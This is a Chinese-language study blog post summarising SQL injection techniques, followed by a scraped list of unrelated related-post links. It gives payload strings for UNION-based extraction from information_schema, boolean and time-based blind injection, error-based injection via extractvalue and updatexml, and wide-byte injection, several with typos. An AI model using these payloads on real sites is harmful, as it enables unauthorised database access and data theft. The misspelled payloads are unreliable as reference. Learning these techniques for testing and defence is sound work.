写在前面:
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)

SQL注入学习part07

  • 整数型和字符型
    • 整数型
    • 字符型
    • 判断方法
  • 闭合符
    • 单引号
    • 双引号
    • 括号
    • 单双引号加上括号
  • 判断字段数
  • 判断字段回显位置
  • 判断数据库相关信息
    • 查看当前数据库版本
    • 查看所有数据库
    • 查看所有表名
    • 查询字段内容
    • 查询指定数据库中的所有表
    • 查询指定数据库指定表中的指定列
    • 查询指定列中的字段
  • 各种注入
    • 布尔盲注
      • 常用函数
      • 二分法猜数据库名称长度
      • 依次猜测字符
      • 查询数据库中表的数量
      • 查询表名称的长度
      • 依次查询表的名称字符
      • 查询特定表里有几个字段
      • 查询字段长度
      • 依次查询字段的字符
      • 查询字段的行数
      • 查询指定字段的行数
      • 查询字段内容
    • 时间盲注
    • 堆叠注入
    • 报错注入
      • extractvalue()
      • updatexml()
  • 根据提交数据方式分类
    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP注入
  • 其他特殊注入方法
    • 宽字节注入
  • 未完待续

整数型和字符型

整数型

  • 对应php语句
select * from tablename where id = $_GET['id']
  • 如果是整数型就不用考虑闭合符的事情了

字符型

PHP源码:

select * from tableName where username='$_GET['username']' and username='$_GET['password']'
  • 字符型的是存在闭合符的后面讨论

判断方法

  • 测试是否为整数型的语句为?id=2-1
  • 判断一下返回结果是否进行了2-1的运算,如果进行运算返回1对应的结果,则是整数型;未进行运算返回2对应的结果就是字符型

闭合符

单引号

  • 直接单引号加#进行测试,或者编码一下%27%23,返回结果正常就是单引号

双引号

  • 直接输入双引号,如果报错,再输入一个注释符,返回结果正常闭合符就是双引号

括号

  • 这个会比较少见

单双引号加上括号

  • 如果在确定存在闭合符的情况下,输入单双引号报错,增加注释符号还是报错,说明注释符中存在括号闭合,那就在单双引号后面添加括号,一个不行就添加两个

判断字段数

order by 1
  • 二分法判断
  • 根据页面返回结果,来判断站点中的字段数目

判断字段回显位置

  • 使用联合查询
union select 1,2,3,4,5,6,7,8,9,10,11#
  • 联合查询时记得把前面的查询为空
  • 来展示对应字段的显示位置
  • 有了回显位置后就可以在后续的查询过程中把查询结果在回显位置处展示出来

判断数据库相关信息

查看当前数据库版本

and 1=2 union select version(),2,3

查看所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查看所有表名

union selcect (select group_concat(table_name)from information_schema.tables),2,3

查询字段内容

union select(select group_concat(column_name)from information_schema.columns),2,3

查询指定数据库中的所有表

union select 1,count(*),cooncat((select group_concat(table_name) from information_schema.tables where table_schema="challenges"),floor(2*rand()))a from information_schema.colunms group by a;%23

查询指定数据库指定表中的指定列

union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where rables_name="  " ),floor(2*rand()))a from information_shcema.columns group by a;%23

查询指定列中的字段

union select 1,count(*),concat((select "   " from DBname.tablenames ),floor(2*rand()))a from information_schema.columns group by a;%23

各种注入

布尔盲注

  • 布尔盲注通常用于正确结果会显示,错误结果一律不显示的情况

常用函数

char()           #解ASCII码
mid()            #截取字符串
substr()         #同上
count()          #计算查询结果的行数
concat()         #查询结果合并但保持原有行数
group_concat()   #查询结果合并但都放在一行中
ascii()          #查询ascii码

二分法猜数据库名称长度

id=1 and (length(database()))>100
id=1 and (length(database()))>1

依次猜测字符

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
  • 二分法擦测

查询数据库中表的数量

and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询表名称的长度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

依次查询表的名称字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询特定表里有几个字段

and(select count(column_name)from information_schema.columns where table_name = ‘表名’ and table_schema = database())>2

查询字段长度

and length((select column_name from information_schema.columns where table_name=‘atelier’ and table_schema= database()limit 0,1))>1

依次查询字段的字符

and ascii(mid((select column_name from information_schema.columns where table_schema = ‘db83231_asfaa’ and TABLE_NAME =‘atelier’ limit 0,1),1,1))>105

查询字段的行数

and (select count(*) from 数据库名.表名)>4

查询指定字段的行数

and (select count(字段名)from 数据库名.表名)>7

查询字段内容

length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100

时间盲注

  • 时间盲注一般用于正确和错误结果都不显示的情况
sleep(5)
if() case
  • 基本的思路就是在布尔盲注的基础上增加时间函数从而对返回时间进行处理,基本上就是用and 连接然后构造布尔逻辑式子
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

堆叠注入

  • 源代码使用musqli_multi_quiery();多语句查询函数,即可一次执行多条sql语句
  • 堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

报错注入

  • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
  • 这里的错误显示是错误语句显示

extractvalue()

  • extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。
extractvalue(1,concat(0x7e,(select user()),0x7e));
/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e),1)--+

updatexml()

  • updatexml(xml_target,xpath_expr,new_xml)接受三个参数,此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--

根据提交数据方式分类

GET注入

  • 常规操作

POST注入

  • 登录界面操作

COOKIE注入

  • 抓包改包

HTTP注入

  • 抓包改包

其他特殊注入方法

宽字节注入

  • PHP中的函数magic_quotes_gpc,作用是将输入的特殊字符前面统统加一个 \ 符号
  • 前提;数据库必须是其他编码,比如utf-8 , gbk ,不能是英语编码(ascii)就行
  • 根据编码的原理在前面添加一个%df可以连同斜杠一起转译

未完待续

SQL注入学习part07:(SQL注入语句总结)相关推荐

  1. SQL 知识点学习汇总,SQL学习这一篇就足够了

    SQL学习知识点汇总 1.SQL是什么? SQL其实是一种编程语言,用于访问和处理数据库的计算机语言 编程语言都有几个特性,有数据类型.可以做运算. 编程语言是为了编程而发明,而程序=数据+算法.所以 ...

  2. SQL注入学习之初识注入bypass(六)

    0x00 简介 在MySQL里面注入和搭建环境来其实差不多,推荐使用sqli-labs来练练手,网上一堆的方法也是我们从学以来用到的 加引号 报错 and 1=1 and 1=2 然后SQLmap 一 ...

  3. 【搬家】【数据库】【优化】SQL 优化学习小结——索引和语句优化

    本文最早于 2013年10月17日于本人个人博客(http://mooowooo.tk)发表,现博客搬家至此,转载请注明出处. SQL 语句的优化对于每个与数据库打交道的程序员来说都是必不可少的一课, ...

  4. sql server 学习教程

    sql server 学习教程 SQL Server 系统数据库 master model msdb tempdb 索引 定义 分类 唯一索引 主键索引 聚集索引(Clustered) 非聚集索引(N ...

  5. Mybatis学习-动态SQL

    Mybatis学习-动态SQL Mybatis学习-动态SQL Mybatis学习-动态SQL 什么是动态SQL 搭建环境 IF 接口 Mapper 测试 trim (where, set) wher ...

  6. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  7. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  8. 通过sql-labs进行sql注入学习(一)

    SQL注入有很多方法,先接触最简单最直观的一种--联合查询注入 联合查询注入原理 联合查询的前提是需要有显示位,而显示位就是通过用户的查询从数据库中返回到页面的数据,是可变化的. 例如:sql-lab ...

  9. SQL注入学习——sqli-labs闯关(Basic Challenges)

    文章目录 前言 一.漏洞介绍 1.什么是SQL注入? 2.SQL注入原理: 3.注入漏洞分类: 二.靶场练习 基础知识: Less1 基于错误的GET单引号字符型注入 Less2 基于错误的GET数字 ...

最新文章

  1. 刚刚写了一个评星的脚本插件,分享给大家
  2. Intellij IDEA eclipse项目导入
  3. .NET MVC对接POLYV——HTML5播放器播放加密视频
  4. Spark中自定义排序
  5. shopex证书无法安装解决方法探讨
  6. 2362:Square 能否拼接为正方形 . DFS+回溯
  7. java 数据类型分为_JAVA中分为基本数据类型及引用数据类型
  8. oa工作流 源码_oa管理系统工作流是什么?类型、优势、功能有哪些?
  9. 做购物车系统时利用到得几个存储过程
  10. 90 行代码,15 个元素教你如何实现无限滚动!
  11. -bash: mysql: command not found
  12. 【keil/MDK5】编译生成bin文件和汇编文件
  13. STC15单片机-数码管显示PCB板温度(TM1620驱动芯片使用介绍)
  14. Verilog练习二【串行加法器】(附公式推导)
  15. 分享一个办公环境文件共享服务器软件CuteHttpFileServer
  16. Dart判断字符串是否为空
  17. 关于PCIe有gen1升到gen3的方法
  18. 从技术转管理的困惑(转)
  19. C# 重载 Equals() 方法、重载运算符、声明显隐式转换的简要整理
  20. 对教材-人工智能导论的不同看法

热门文章

  1. 【抄】更改eclipse配置
  2. Java中基于TCP通过socket嵌套字连接方式传送文件
  3. MQTT 控制报文 - PINGREQ心跳报文,PINGRESP - 第4章
  4. git add用法详解,参数列表,git add -A/git add -u/git add .区别
  5. Python:获取命令行参数
  6. jq监听页面的滚动事件,
  7. asp.net分割字符串的几种方法
  8. Linux下让Eclipse支持Python
  9. Hive中NULL的含义
  10. [论文阅读] State-Relabeling Adversarial Active Learning